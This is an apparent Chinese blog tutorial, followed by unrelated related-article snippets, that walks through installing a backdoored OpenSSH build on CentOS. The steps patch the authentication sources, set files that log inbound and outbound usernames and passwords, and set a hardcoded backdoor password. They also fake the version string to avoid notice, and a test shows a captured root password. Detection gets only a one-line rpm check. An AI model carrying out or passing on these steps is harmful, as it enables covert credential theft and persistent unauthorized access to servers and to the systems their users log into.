了解有后门的sshd服务是如何劫持密码的
在服务器上安装一个打了后门补丁的sshd服务,当用户连接时,直接把密码记录下来,然后使用脚本发送到邮箱中。
(1).实验环境
使用CentOS6.2作为系统环境,查看sshd和gcc的版本
[root@CentOS6 ~]# uname -a
Linux CentOS6.2 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux
[root@CentOS6 ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
[root@CentOS6 ~]# gcc -V
-bash: gcc: command not found
[root@CentOS6 ~]# yum -y install gcc //如果没有gcc需要安装
[root@CentOS6 ~]# gcc -v
使用内建 specs。
目标:x86_64-redhat-linux
配置为:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux
线程模型:posix
gcc 版本 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)
(2).安装后门
[root@CentOS6 ~]# tar zxf openssh-5.9p1.tar.gz //解压openssh_5.9p1
[root@CentOS6 ~]# tar zxf 0x06-openssh-5.9p1.patch.tar.gz //解压后门
[root@CentOS6 ~]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[root@CentOS6 ~]# cd openssh-5.9p1
[root@CentOS6 openssh-5.9p1]# patch < sshbd5.9p1.diff //打补丁就是修改或替换原有文件
patching file auth.c //认证
patching file auth-pam.c //认证
patching file auth-passwd.c //认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c //关于sshd服务器
patching file sshconnect2.c //关于sshd连接
patching file sshlogin.c //关于登录
patching file version.h //关于版本
[root@CentOS6 openssh-5.9p1]# vim includes.h
//第177~179行
#define ILOG "/usr/share/ifile" #记录登录到本机的用户名和密码
#define OLOG "/usr/share/ofile" #记录从本机登录到其他服务器上的用户名和密码
#define SECRETPW "testpassword" #后门密码
//为了保证安装后显示的版本和原系统一致,还需要修改版本号
[root@CentOS6 openssh-5.9p1]# vim version.h
#define SSH_VERSION "OpenSSH_5.3"
//安装依赖包
[root@CentOS6 openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
//编译安装
[root@CentOS6 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
[root@CentOS6 openssh-5.9p1]# make && make install
[root@CentOS6 openssh-5.9p1]# echo $?
0
[root@CentOS6 openssh-5.9p1]# rpm -Vf /usr/bin/ssh //可以看到ssh相关文件被修改
S.5....T. /usr/bin/scp
S.5....T. /usr/bin/sftp
S.5....T. /usr/bin/ssh
S.5....T. /usr/bin/ssh-add
SM5...GT. /usr/bin/ssh-agent
S.5....T. /usr/bin/ssh-keyscan
[root@CentOS6 openssh-5.9p1]# service sshd restart
停止 sshd: [确定]
正在启动 sshd: [确定]
(3).测试
//开始之前
[root@CentOS6 openssh-5.9p1]# cat /usr/share/ofile
cat: /usr/share/ifile: 没有那个文件或目录
//向外连接
[root@CentOS6 ~]# ssh 192.168.5.101
root@192.168.5.101's password:
Last login: Tue Sep 3 13:25:59 2019 from 192.168.5.1
[root@youxi1 ~]# exit
登出
Connection to 192.168.5.101 closed.
[root@CentOS6 ~]# cat /usr/share/ofile
user:password@host --> root:123456@192.168.5.101
另外可以使用后门密码登录root用户。
(4).排查
就是使用rpm -Vf /usr/bin/ssh命令查看是否被黑客替换。
了解有后门的sshd服务是如何劫持密码的的更多相关文章
- SSHD服务搭建
SSH协议:安全外壳协议.为Secure Shell 缩写.SSH为建立在应用层和传输层基础上的安全协议. 1.检查SSH服务端安装情况 [root@rhel6_84 ~]# rpm -qpi / ...
- 开源服务专题之------sshd服务安装管理及配置文件理解和安全调优
本专题我将讨论一下开源服务,随着开源社区的日趋丰富,开源软件.开源服务,已经成为人类的一种公共资源,发展势头可谓一日千里,所以不可不知.SSHD服务,在我们的linux服务器上经常用到,很重要,涉及到 ...
- BackTrack 5 开启SSHD服务
BackTrack 5 开启SSHD服务 1 service ssh start 但启动后,仍然无法从远程连接,会有提示: 1 Read from socket failed: Connection ...
- Fedora 启动sshd服务:
.先确认是否已安装ssh服务: [root@localhost ~]# rpm -qa | grep openssh-server openssh-server-.3p1-.fc12.i686 (这行 ...
- kaili开启sshd服务
使用xshell远程连接kali 2.0时要开启kaili上的sshd服务,具体方法如下: 命令: vim /etc/ssh/sshd_config # Package generated confi ...
- sshd服务---暴力破解应对策略
sshd服务暴力破解步骤 sshd暴力破解方法 防止暴力破解调优 1. 变更默认端口 2. 变更root用户 3. 日志监控-->防止暴力破解(fail2ban应用) fail2ban详解 在初 ...
- 末学者笔记--SSHD服务及SCP用法
sshd服务讲解 1.SSHD服务 介绍:SSH 协议:安全外壳协议.为 Secure Shell 的缩写.SSH 为建立在应用层和传输层基础上的安全协议. 默认端口22 作用: sshd服务使用SS ...
- 《linux就该这么学》第十一节课: 第九章,网卡绑定与sshd服务
8.4.服务的访问控制列表 TCPwrappers是RHEL7中默认启用的流量监控程序,能够对服务做出允许或拒绝. TCPwrappers服务由两个文件控制: /etc/hosts.allow ...
- 自定义sshd服务
1.安装rsyslog服务和sshd服务并启动 2.配置日志文件 vim /etc/rsyslog.conf 在里面添加一行 local*. /var/log/sshd.lo ...
随机推荐
- CheckList 如何梳理可减少上线的验证时间(总结篇)
对CheckList的执行发起的思考? (1)功能越来越多,CheckList越补充越多,执行CheckList时间越来越长,如何减少上线的验证时间?(2)减少上线验证的时间外,如何保证质量?上线后少 ...
- python 对象引用计数增加和减少的情况
对象引用计数增加的情况: 1.对象被创建:x=4 2.另外的别人被创建:y=x 3.被作为参数传递给函数:foo(x) ->会增加2 4.作为容器对象的一个元素:a=[1,x,'33'] 对象 ...
- [CSS] Create a Card Flip Animation with CSS
Animation can be a powerful way to enhance a user experience. In this lesson, we'll walk through the ...
- jsp+ ueditor word粘贴上传
最近公司做项目需要实现一个功能,在网页富文本编辑器中实现粘贴Word图文的功能. 我们在网站中使用的Web编辑器比较多,都是根据用户需求来选择的.目前还没有固定哪一个编辑器 有时候用的是UEditor ...
- mysqli扩展有一系列的优势,相对于mysql扩展的提升主要优势有哪些?
mysqli扩展有一系列的优势,相对于mysql扩展的提升主要优势有哪些? 面向对象接口 prepared语句支持(译注:关于prepare请参阅mysql相关文档) 多语句执行支持 事务支持 增强的 ...
- PHP安装之configure的配置参数
1.生成环境安装配置如下 要求安装如下库: imagickgdmysqlmysqlimysqlndphalconPharsoapsocketsxwebxsvczipzlib 具体查看 vim php- ...
- 97: cf 983E 倍增+树套树
$des$一棵 $n$ 个点的树,树上有 $m$ 条双向的公交线路,每条公交线路都在两个节点之间沿最短路径往返.$q$ 次询问从一个点要到达另一个点,在只坐公交的情况下,至少需要坐几辆公交车:或者判断 ...
- BFC、IFC、FFC、GFC
FC(Formatting Context) 它是W3C CSS2.1规范中的一个概念,定义的是页面中的一块渲染区域,并且有一套渲染规则,它决定了其子元素将如何定位,以及和其他元素的关系和相互作用. ...
- hive 属性随笔记录
set hive.mapred.mode=strict; //设置hive执行模式,默认为nonstrict(非严格模式),这里设置为严格模式 set hiveconf:hive.cli.print. ...
- SpringBoot 配置Druid:不显示SQL监控 —(*) property for user to setup
题外话: SpringBoot整合Druid 请查看https://www.cnblogs.com/JealousGirl/p/druid.html Druid登录后数据源页面.SQL监控等不显示数据 ...